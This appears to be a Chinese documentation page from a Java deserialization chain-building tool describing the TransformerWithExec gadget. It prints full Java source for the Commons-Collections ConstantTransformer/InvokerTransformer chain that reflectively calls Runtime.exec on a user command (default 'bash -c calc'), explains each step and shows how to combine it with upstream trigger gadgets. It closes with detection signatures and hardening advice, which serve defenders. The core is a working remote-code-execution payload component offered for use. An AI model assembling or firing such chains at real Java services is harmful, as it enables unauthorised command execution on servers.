- 类别:javanative 别名:(无) 优先级:(未设定)
- 作者:—
- 依赖:
commons-collections <= 3.2.1 or commons-collections <= 4.0(即 commons-collections 3.x 全系或 commons-collections4 4.0)
构造经典的 commons-collections「反射调用 Runtime.exec」Transformer[] 数组。该数组本身不是一个可反序列化的完整对象,而是链的最内层载荷(END sink):它把「拿到 Runtime 类 → 反射 getRuntime() → 反射 invoke() 得到 Runtime 实例 → 反射 exec(cmd) 执行命令」这一串动作固化为一组 ConstantTransformer / InvokerTransformer。上游的 CC 触发型 gadget(如 CommonsCollectionsK3 / CommonsCollectionsK4)会把这个数组塞入 ChainedTransformer.iTransformers,再由 LazyMap / TiedMapEntry 等触发点在反序列化时驱动整条 transform 调用,最终执行系统命令实现 RCE。
- 入口
tags:TransformerChains、ENDTransformerChains:表明本 gadget 是「Transformer 数组」这一环,能被任何声明nextTags=TransformerChains的上游 gadget 承接(即需要一个Transformer[]作为其内层载荷的 CC 触发器)。END:本 gadget 是链尾 sink,自身直接产出最终载荷(Transformer[]),不再有更内层对象,因此其invoke不调用chain.doCreate。
- 衔接
nextTags:(空)—— 作为 END,其后不再衔接其它 gadget。 excludes:(空)—— 无互斥标签。
@Param(name="命令", description="eg: bash -c calc")
public String cmd = "bash -c calc";
public Object getObject() throws Exception {
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(Runtime.class));
transformers.add(this.createInvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}));
transformers.add(this.createInvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}));
transformers.add(this.createInvokerTransformer("exec", new Class[]{String.class}, new String[]{this.cmd}));
transformers.add(this.createConstantTransformer(1));
return this.createTransformerArray(transformers);
}这是 ysoserial 时代广为人知的 CC「Runtime.exec」反射五元组,逐元素解释(当上游 ChainedTransformer.transform(x) 依次执行时,前一个的输出成为后一个的输入):
ConstantTransformer(Runtime.class):无视输入,恒定返回java.lang.Runtime的Class对象。作为整条链的初始值。InvokerTransformer("getMethod", {String, Class[]}, {"getRuntime", new Class[0]}):对上一步的Runtime.class反射调用Class.getMethod("getRuntime"),取得Runtime.getRuntime这个Method。之所以走getMethod而不直接getRuntime,是因为Runtime的构造器私有、无法用ConstantTransformer直接实例化,只能层层反射绕过。InvokerTransformer("invoke", {Object, Object[]}, {null, new Object[0]}):对上一步得到的Method反射调用Method.invoke(null),即执行Runtime.getRuntime(),得到Runtime单例实例。InvokerTransformer("exec", {String}, {this.cmd}):对Runtime实例反射调用exec(cmd),真正执行命令。cmd即@Param注入的用户命令。ConstantTransformer(1):吞掉exec的返回值(Process),恒定返回1。这是沿用 ysoserial 的收尾写法,给上游触发点(如LazyMap.get期望的 map value)一个无害的确定返回,避免因返回类型异常打断触发流程。
createTransformerArray 把这些元素装入一个元素类型为 Transformer 接口的原生数组(而非 Object[]),以匹配 ChainedTransformer 构造器/字段 iTransformers 的 Transformer[] 声明——否则上游反射赋值时会因数组类型不符而失败。
public void initClazz(String version) throws ClassNotFoundException {
if (version.equals("3")) {
this.transformerClazz = Class.forName("org.apache.commons.collections.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
this.invokerTransformerClazz = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
this.instantiateTransformer = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
} else if (version.equals("4")) {
this.transformerClazz = Class.forName("org.apache.commons.collections4.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections4.functors.ConstantTransformer");
this.invokerTransformerClazz = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
this.instantiateTransformer = Class.forName("org.apache.commons.collections4.functors.InstantiateTransformer");
} else {
ThrowsUtil.throwGadgetException("CC " + version + " not found");
}
}
public Object createConstantTransformer(Object args) throws Exception {
return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
return Reflections.newInstance(this.invokerTransformerClazz.getName(), new Class[]{String.class, Class[].class, Object[].class}, args);
}
public Object createTransformerArray(LinkedList<Object> transformers) throws ClassNotFoundException {
Object transformerArray = Array.newInstance(this.transformerClazz, transformers.size());
for (int i = 0; i < transformers.size(); ++i) {
Array.set(transformerArray, i, transformers.get(i));
}
return transformerArray;
}要点:
- 全程反射,无编译期依赖:基类通过
Class.forName+Reflections.newInstance按字符串包名加载并实例化 CC 的ConstantTransformer/InvokerTransformer。因此getObject()里的createConstantTransformer/createInvokerTransformer返回的是真实的 CC Transformer 对象(在 java-chains 构建进程中就地生成),序列化后即为目标端可识别的 CC 类实例。这也意味着构建端 classpath 需存在对应版本的 commons-collections。 - CC3 / CC4 双命名空间兼容:
org.apache.commons.collections.*(3.x)与org.apache.commons.collections4.*(4.0)包路径不同,initClazz依据版本切换,使同一个 gadget 同时覆盖依赖声明中的「CC ≤ 3.2.1 或 CC ≤ 4.0」。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String version = context.getString(ContextTag.CC_VERSION);
this.initClazz(version);
return this.getObject();
}- 从
GadgetContext读取CC_VERSION("3" 或 "4"),据此initClazz加载对应命名空间的类。该 version 值由上游 CC gadget 注入:例如 CommonsCollectionsK3 在invoke中先context.put(ContextTag.CC_VERSION, ContextTag.CC_VERSION_3),再chain.doCreate(context)递归调用到本 gadget,因此本 gadget 读取时 version 已就绪。 - 作为
END,invoke不调用chain.doCreate—— 本 gadget 是链的最内层,直接把构造好的Transformer[]返回给上游包装。
| 字段 | 名称 | 说明 | 类型 | 默认值 | 可选值 |
|---|---|---|---|---|---|
cmd |
命令 | 待执行的系统命令,形如 bash -c calc(Runtime.exec 语义) |
String | bash -c calc |
无(自由文本) |
注意:cmd 走 Runtime.exec(String) 单参重载,Windows 与 *nix 的分词行为不同;执行复杂命令(管道、重定向)通常需显式包裹 bash -c ... / cmd /c ...。
- 依赖版本:commons-collections 3.x(≤ 3.2.1,含存在
InvokerTransformer危险反射的历史版本)或 commons-collections4 4.0。CC 3.2.2 / 4.1+ 已对InvokerTransformer等 functor 加入反序列化开关(默认禁用),本 sink 单独不受此限(它构造的是对象,触发点在上游),但整条 CC 链在 3.2.2+/4.1+ 上的经典触发点多已失效。 - 无需特定 JDK:本 sink 使用纯反射调用
Runtime.exec,不依赖TemplatesImpl字节码加载,因此不受 JDK 版本(如 17+ 的模块封装)限制,是 CC 环境下最通用、约束最少的 RCE 落点。 - 触发依赖上游:
Transformer[]本身不会自执行,必须由声明nextTags=TransformerChains的上游把它接入某个反序列化触发点(LazyMap.get/TiedMapEntry.hashCode/TransformingComparator.compare等),链才闭合。
usedInChains 为空 —— 本 gadget 为自由构件,未被固定写入 51 条预设链的 steps。但它是 CC 命令执行族的标准 sink,可与以下上游按 TransformerChains 标签自由组合:
- CommonsCollectionsK3(CC 3.2.1,
LazyMap+TiedMapEntry+HashSet触发) - CommonsCollectionsK4(CC 4.0 触发变体)
组合形如 [CommonsCollectionsK3, TransformerWithExec]:K3 产出 HashSet(外层),其内 ChainedTransformer.iTransformers 即本 gadget 的 Transformer[](内层 sink)。
- 上游(
nextTags=TransformerChains的承接者):CommonsCollectionsK3、CommonsCollectionsK4。 - 同族 Transformer sink(同基类
AbstractTransformer,同为TransformerChains):TransformerWithTemplatesImpl(走TemplatesImpl字节码,nextTags=TemplatesImplChain)、TransformerWithJNDI(nextTags=JdbcRowSetImplChain)、TransformerWithBcel、TransformerWithJs、TransformerWithSleep(探测/延时)、TransformerWithFileWrite、TransformerWithMethodHandles、TransformerWithBytecode类(nextTags=BytecodeConvertTag)等——本 sink 是其中「直接命令执行」的最简形态。
检测特征
- 反序列化字节流中同时出现
org.apache.commons.collections(.4)?.functors.InvokerTransformer、ConstantTransformer、ChainedTransformer,配合触发点类LazyMap/TiedMapEntry/TransformingComparator。 - 流内明文可见方法名字符串
getMethod、getRuntime、invoke、exec,以及命令文本(如bash -c)——这是本 sink 的强特征串。 - Java 序列化魔数
AC ED 00 05开头且引用上述 CC functor 类,可作为 IDS/WAF 规则。
加固建议
- 升级 commons-collections 至 3.2.2+ / 4.1+(默认关闭
InvokerTransformer等 functor 的反序列化);能移除则移除该依赖。 - 部署 JEP 290 反序列化过滤(
ObjectInputFilter)或 SerialKiller / 类似黑白名单,禁止反序列化org.apache.commons.collections*.functors.*。 - 从源头消除不受信数据的 Java 原生反序列化入口;确需反序列化则改用白名单式安全库。
- 运行期以最小权限运行 JVM,限制其派生子进程能力(seccomp / 容器
no-new-privileges),降低Runtime.exec成功后的影响面。
参考:反编译源码 与基类
AbstractTransformer.java;机器可读元数据index/gadgets.json。